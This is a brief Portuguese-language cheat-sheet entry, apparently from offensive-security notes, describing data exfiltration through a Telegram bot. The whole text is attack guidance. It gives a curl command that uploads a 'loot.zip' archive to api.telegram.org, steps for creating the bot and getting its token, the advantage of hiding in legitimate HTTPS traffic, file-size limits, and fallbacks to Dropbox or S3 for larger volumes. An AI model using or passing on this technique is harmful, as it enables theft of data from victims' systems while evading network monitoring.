Exfil Telegram

curl -F document=@loot.zip https://api.telegram.org/bot<TOKEN>/sendDocument

Envia arquivos para um bot do Telegram: a exfiltração viaja por HTTPS para api.telegram.org, um domínio com tráfego legítimo massivo.

Execute quando precisar de um canal de exfiltração rápido sem montar infraestrutura: crie um bot com BotFather, obtenha token e chat_id, e extraia arquivos com uma linha de curl. Serve para lotes pequenos e médios (a API limita a 50 MB por arquivo).

Se o egress filtrar por domínios (vários proxies corporativos bloqueiam api.telegram.org), falha direto. Para volumes grandes use Dropbox ou S3: o Telegram não foi feito para mover GB e os arquivos ficam hospedados nos servidores deles.